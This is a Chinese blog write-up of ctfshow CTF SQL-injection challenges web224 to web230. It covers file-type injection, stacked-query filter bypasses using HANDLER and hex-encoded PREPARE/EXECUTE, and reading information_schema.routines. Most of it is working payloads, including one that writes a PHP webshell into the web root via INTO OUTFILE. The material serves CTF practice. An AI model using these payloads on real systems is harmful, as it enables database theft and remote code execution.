首页 > 数据库 >ctfshow-web入门-sql注入(web224-web230)文件类型注入、routines存储过程与函数状态、handler语句、预处理prepare+execute

ctfshow-web入门-sql注入(web224-web230)文件类型注入、routines存储过程与函数状态、handler语句、预处理prepare+execute

时间:2024-08-19 18:56:36浏览次数:16  
标签:web execute name prepare flag ctfshow 注入 myon

目录

1、web224

2、web225

3、web226

4、web227

5、web228

6、web229

7、web230


1、web224

登录页面测了下没发现注入点

存在 robots.txt

访问 /pwdreset.php  ,是管理员密码重置的页面

直接重置密码,这里以 123456 为例

使用 admin/123456 登录 

来到一个文件生成界面

对文件大小有限制

文件类型也有限制

看了 wp 是文件类型注入,后台会通过读取文件内容判断文件类型,记录到数据库,对文件进行重命名。新建一个 txt 文件,写入如下内容:

C64File "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/myon.php';--+

C64File 是与 Commodore 64 相关的文件类型,之后闭合,写入 sql 语句,其中

3c3f3d60746163202f662a603f3e 为我们想要执行的命令的十六进制形式。

访问写入的 myon.php

拿到 flag:ctfshow{ddec6f4e-f82b-4c75-92df-d0c646cf011a}

试了下其他类型的文件也可以传

但是写入有问题

2、web225

堆叠提升开始

过滤掉了很多东西 

查表名:

/api/index.php?username=0';show tables;#

存在一个名为 ctfshow_flagasa 的表

查这个表下的列名:

/api/index.php?username=0';show columns from ctfshow_flagasa;#

得到 flag 的字段名为 flagas

一般我们可以通过重命名表和更改字段名来实现查询 flag,这里原本是:

select id,username,pass from ctfshow_user where username = '{$username}';

我们可以改为:

select id,flag,pass from ctfshow_flagasa where flag = '{$username}';

也就是将表名 ctfshow_user 改为了 ctfshow_flagasa,将字段名 username 改为 flag,之后我们就可以使用万能密码 1' or 1=1# 查出 flag。

使用 RENAME TABLE 语句来重命名一个表:

RENAME TABLE old_table_name TO new_table_name;

使用 ALTER TABLE 配合 CHANGE 语句来重命名列名:

ALTER TABLE table_name CHANGE old_column_name new_column_name datatype;

但是由于这道题过滤了 alter,因此这种方法不行。

这个题非常像我之前在攻防世界刷过的一道题:

supersqli(SQL注入流程及常用SQL语句)-CSDN博客icon-default.png?t=N7T8https://myon6.blog.csdn.net/article/details/129805447

不过那道题没有过滤 alter,当然我们还有其他的方法,采用 handler 语句:

handler 是 mysql 的专用语句,没有包含到 SQL 标准中,但它每次只能查询 1 次记录,而 select 可以根据需要返回多条查询结果。 

hander `表名` open;           // 打开一个表

handler`表名`read frist;      // 查询第一个数据

handler`表名`read next;     // 查询之后的数据直到最后一个数据返回空

先打开表 ctfshow_flagasa,再查询它,payload:

0';handler`ctfshow_flagasa` open;handler`ctfshow_flagasa`read next;#

拿到 flag:ctfshow{28ec601d-4120-405d-b5da-3809145c24bb} 

或者这样用:

0';handler`ctfshow_flagasa` open as`a`;handler`a`read next;#

这里用 first 和 next 都是可以的,因为就一个数据。

还可以采用预处理的方法:prepare + execute

PREPARE 语句准备好一条 SQL 语句,并分配给这条 SQL 语句一个名字供之后调用,通过EXECUTE 命令执行,最后使用 DEALLOCATE PREPARE 命令释放。

payload:

0';prepare myon from concat("sel","ect * from `ctfshow_flagasa`");execute myon;#

3、web226

新增过滤 show 和括号,采用十六进制绕过。

查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

拿到表名 ctfsh_ow_flagas,查列名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d2763746673685f6f775f666c6167617327;execute myon;#

查字段:

0';prepare myon from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;execute myon;#

拿到 flag:ctfshow{808156a6-3460-4610-a716-2aa5f7f521fb}

4、web227

过滤内容对我们上一题的 payload 无影响,先查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

发现只有一个名为 ctfshow_user 的表 

看了 wp 这道题需要查看存储过程和函数的状态,通过查询 information_schema.ROUTINES 表来查看存储过程和函数的详细信息,直接查这个表下的所有东西:

0';prepare myon from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute myon;#

看到 flag:ctfshow{f2b7398c-eccb-45b0-bf40-c3b2f4767760} 

当然,如果知道存储过程或函数的名称,可以查询其详细信息,包括定义:

第一步我们可以得到函数名为 getFlag

具体指定函数名再进行查询:

select * from information_schema.routines where routine_name='getFlag'

其中 routine_name 用于指定存储过程或函数的名称  

其中 routine_name 用于指定存储过程或函数的名称 

如果存储过程和存储函数名称相同,则需要再指定  routine_type  字段表明查询的是哪种类型的存储程序:

比如指定查询的类型是函数

select * from information_schema.routines where routine_name='getFlag' and routine_type='function'

查出来没有,看来这里的 getFlag 并不是函数类型 

那么我们指定进程类型看看呢:

select * from information_schema.routines where routine_name='getFlag' and routine_type='procedure'

还真是进程

5、web228

还是采用预处理,查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

查列名:

select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfsh_ow_flagasaa'
0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d2763746673685f6f775f666c61676173616127;execute myon;#

查字段:

0';prepare myon from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161;execute myon;#
select flagasba from ctfsh_ow_flagasaa

拿到 flag:ctfshow{0710b947-f29c-434f-94b5-59628ea645af}

6、web229

查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

flag 

查列名:

flagasba

查字段:

0';prepare myon from 0x73656c65637420666c6167617362612066726f6d20666c6167;execute myon;#

拿到 flag:ctfshow{24939b59-7383-48b6-af76-11048fe77fe2}

7、web230

查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

flagaabbx 

查列名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d27666c6167616162627827;execute myon;#

flagasbas 

查字段:

0';prepare myon from 0x73656c65637420666c616761736261732066726f6d20666c61676161626278;execute myon;#

拿到 flag:ctfshow{5d7f5613-76bb-41bd-8bd3-d12b63ae7d4b}

标签:web,execute,name,prepare,flag,ctfshow,注入,myon
From: https://blog.csdn.net/Myon5/article/details/141323202

相关文章

  • WEB渗透免杀篇-免杀工具全集
     往期文章 WEB渗透免杀篇-加载器免杀-CSDN博客 WEB渗透免杀篇-分块免杀-CSDN博客WEB渗透免杀篇-Powershell免杀-CSDN博客WEB渗透免杀篇-Python源码免杀-CSDN博客WEB渗透免杀篇-C#源码免杀-CSDN博客WEB渗透免杀篇-MSF+shellcode免杀-CSDN博客WEB渗透免杀篇-Bypass-AMS......
  • Vulnhub靶机:AI-WEB-1.0
    一.网站查询二.扫描当前网站目录 扫出有http://172.16.1.88/robots.txt继续扫这个刚扫出来的,然后得出 我们再访问m3dinfo/info.php和 /se3reTdir777/这俩目录 得到如上图所示三.进行sql注入1.判断是否有sql注入 /有结果,有报错 2.利用burp抓包进行注入......
  • Java轻松实现跨平台(Windows、Linux)多协议(Twain、Sane)的Web扫描
     由于项目需要,开发在Windows下与Linux下扫描功能,Linux主要是信创的两个系统(UOS、麒麟),研究了一下发现,Windows使用Twain协议与扫描仪通讯,Linux使用的是Sane协议与扫描仪通讯,找到Twain协议和Sane协议的标准文档,英文的,都有大几百页,项目一个月内要求上线,明显没时间慢慢研究,于......
  • WebGIS产品分析
    WebGIS(网络地理信息系统)是指基于网络平台,客户端应用软件采用网络协议,运行在网络上的地理信息系统,即将GIS所能提供的功能通过网络展现给用户。顾名思义,WebGIS就是展现在网络上的GIS,是GIS与Web融合的产物。GIS通过Web功能得以扩展,使得GIS冲破专业圈子,真正成为大众化的GIS。如今,网......
  • 界面控件DevExpress ASP.NET Web Forms v24.1最新版本系统环境配置要求
    本文档包含有关安装和使用 DevExpressASP.NETWebForms控件的系统要求的信息。点击获取DevExpressv24.1正式版.NETFrameworkDevExpressASP.NETWebForms控件支持以下.NET框架版本。如果您需要DevExpress产品的早期版本,请咨询“在线客服”获取。IDEDevExpressASP.......
  • 秒开WebView?Android性能优化全攻略
    在如今的移动应用时代,用户体验的好坏直接关系到应用的成功与否。而在众多的用户体验因素中,应用的加载速度尤其重要。特别是对于使用 WebView 加载网页的应用,如果加载速度过慢,用户往往会产生不满,从而流失。因此,实现“秒开”WebView成为了开发者必须面对的一项挑战。本文将深......
  • net core web api 支持xml参数 设置
    废话不多说,上教程。......
  • 如何诱导AI犯罪-提示词注入
    我们用到的大模型基本把政治类信息、犯罪相关信息都已屏蔽。但是,黑客依旧可以使用提示词诱导和提示词注入的方式对大模型进行攻击。1、提示词诱导如果直接让AI提供犯罪过程,AI会直接拒绝。虽然AI对于大部分知识了然于心,但因为经过了人工指令微调,一些伤害性、犯罪性的言论已经被屏......
  • Web大学生网页作业成品——24节气立夏介绍网页设计与实现(HTML+CSS)(1个页面)
    ......
  • webpack 构建流程
    webpack可以分为4个阶段:初始化阶段-webpack合并配置项创建Compiler注册插件编译阶段-build读取入口文件从入口文件开始编译调用loader对源代码进行转换借助babel解析为AST收集依赖模块递归对依赖模块进行编译操作生成阶段-seal创建chunk对......